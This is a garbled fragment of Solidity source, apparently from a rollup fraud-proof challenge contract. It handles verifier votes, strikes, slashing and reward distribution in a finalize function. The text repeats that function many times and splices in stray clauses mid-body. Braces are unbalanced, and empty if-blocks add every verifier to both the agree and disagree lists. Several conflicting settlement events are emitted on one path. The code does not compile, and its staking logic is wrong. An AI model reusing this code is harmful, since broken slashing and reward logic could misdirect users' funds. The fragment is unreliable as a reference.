if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
} else if (challenge_keys[cIndex][verifiers[i]].length == 0) {
absence_strikes[verifiers[i]] += 2;
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
} else {
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
} else if (challenge.verifiers.length < numQualifiedVerifiers * 75 / 100) {
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
} else {
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
distributeReward(reward, agrees, agrees.length);
}
emit Finalize(cIndex, msg.sender, SETTLEMENT.AGREE);
}
}
if (consensus_strikes[challenge.challenger] > FAIL_THRESHOLD) {
reward += penalize(challenge.challenger);
}
distributeReward(reward, challenge.verifiers, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.SAME_ROOT);
}
challenge.done = true;
activeChallenges--;
chain_under_challenge[challenge.chainID] = 0;
}
function finalize(uint256 cIndex) internal {
Challenge storage challenge = challenges[cIndex];
require(challenge.done == false, "challenge is closed");
if (challenge.verifiers.length != challenge.numVerifiers
&& block.timestamp - challenge.timestamp < verifyWindow * 2) {
return;
}
IStateCommitmentChain stateChain = IStateCommitmentChain(resolve("StateCommitmentChain"));
bytes32 proposedHash = bytes32(challenge_hashes[cIndex][challenge.challenger]);
uint reward = 0;
address[] memory agrees = new address[](challenge.verifiers.length);
uint numAgrees = 0;
address[] memory disagrees = new address[](challenge.verifiers.length);
uint numDisagrees = 0;
for (uint256 i = 0; i < verifiers.length; i++) {
if (!isSufficientlyStaked(verifiers[i]) || !isWhiteListed(verifiers[i])) {
continue;
}
if (bytes32(challenge_hashes[cIndex][verifiers[i]]) == proposedHash) {
if (absence_strikes[verifiers[i]] > 0) {
}
agrees[numAgrees] = verifiers[i];
numAgrees++;
if (absence_strikes[verifiers[i]] > ABSENCE_THRESHOLD) {
reward += penalize(verifiers[i]);
}
if (absence_strikes[verifiers[i]] > 0) {
}
disagrees[numDisagrees] = verifiers[i];
numDisagrees++;
}
}
if (Lib_OVMCodec.hashBatchHeader(challenge.header) !=
stateChain.batches().getByChainId(challenge.chainID, challenge.header.batchIndex)) {
reward += penalize(challenge.challenger);
distributeReward(reward, disagrees, challenge.verifiers.length - 1);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
emit Finalize(cIndex, msg.sender, SETTLEMENT.NOT_ENOUGH_VERIFIER);
}
else if (proposedHash != challenge.header.batchRoot) {
if (numAgrees <= numDisagrees) {
for (uint i = 0; i < numAgrees; i++) {
consensus_strikes[agrees[i]] += 2;
if (consensus_strikes[agrees[i]] > FAIL_THRESHOLD) {
reward += penalize(agrees[i]);
}
}
distributeReward(reward, disagrees, disagrees.length);
emit Finalize(cIndex, msg.sender, SETTLEMENT.DISAGREE);
if(stateChain.insideFraudProofWindow(challenge.header)) {
stateChain.deleteStateBatchByChainId(challenge.chainID, challenge.header);
if (seqStake > 0) {
reward += seqStake;
for (uint i = 0; i < numDisagrees; i++) {
consensus_strikes[disagrees[i]] += 2;
if (consensus_strikes[disagrees[i]] > FAIL_THRESHOLD) {
reward += penalize(disagrees[i]);
}
}
